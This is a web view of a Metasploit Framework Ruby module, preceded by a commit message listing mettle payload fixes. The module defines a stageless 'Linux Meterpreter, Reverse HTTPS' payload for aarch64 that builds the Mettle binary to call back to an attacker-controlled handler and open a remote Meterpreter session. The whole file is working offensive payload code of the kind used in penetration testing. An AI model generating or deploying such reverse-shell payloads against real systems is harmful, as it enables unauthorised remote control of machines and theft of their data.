Brent Cook
0345c8f66c
This is a large update to mettle payloads including: * Adds globbing support to the `ls` command (https://github.com/rapid7/mettle/pull/139) * Fixes crashes on iOS platforms when cryptTLV is enabled (https://github.com/rapid7/mettle/pull/142) * Fixes display of the OS version on macOS and iOS (https://github.com/rapid7/mettle/pull/143) * Fixes the local port handling for pivoted client network connections (https://github.com/rapid7/mettle/pull/144) * Fixes an unaligned memory access in TLV packet handling, needed for some CPUs (https://github.com/rapid7/mettle/pull/145) * Fixes some compatibility issues building on Solaris (https://github.com/rapid7/mettle/pull/147) * Updated libpcap, mbedtls, and libcurl to the latest versions (https://github.com/rapid7/mettle/pull/146)
47 lines
1.3 KiB
Ruby
47 lines
1.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/handler/reverse_https'
|
|
require 'msf/base/sessions/meterpreter_options'
|
|
require 'msf/base/sessions/mettle_config'
|
|
require 'msf/base/sessions/meterpreter_aarch64_linux'
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 1021984
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Sessions::MeterpreterOptions
|
|
include Msf::Sessions::MettleConfig
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Linux Meterpreter, Reverse HTTPS Inline',
|
|
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
|
'Author' => [
|
|
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
|
'Brent Cook <brent_cook[at]rapid7.com>',
|
|
'timwr'
|
|
],
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_AARCH64,
|
|
'License' => MSF_LICENSE,
|
|
'Handler' => Msf::Handler::ReverseHttps,
|
|
'Session' => Msf::Sessions::Meterpreter_aarch64_Linux
|
|
)
|
|
)
|
|
end
|
|
|
|
def generate
|
|
opts = {
|
|
scheme: 'https',
|
|
stageless: true
|
|
}
|
|
MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec
|
|
end
|
|
end
|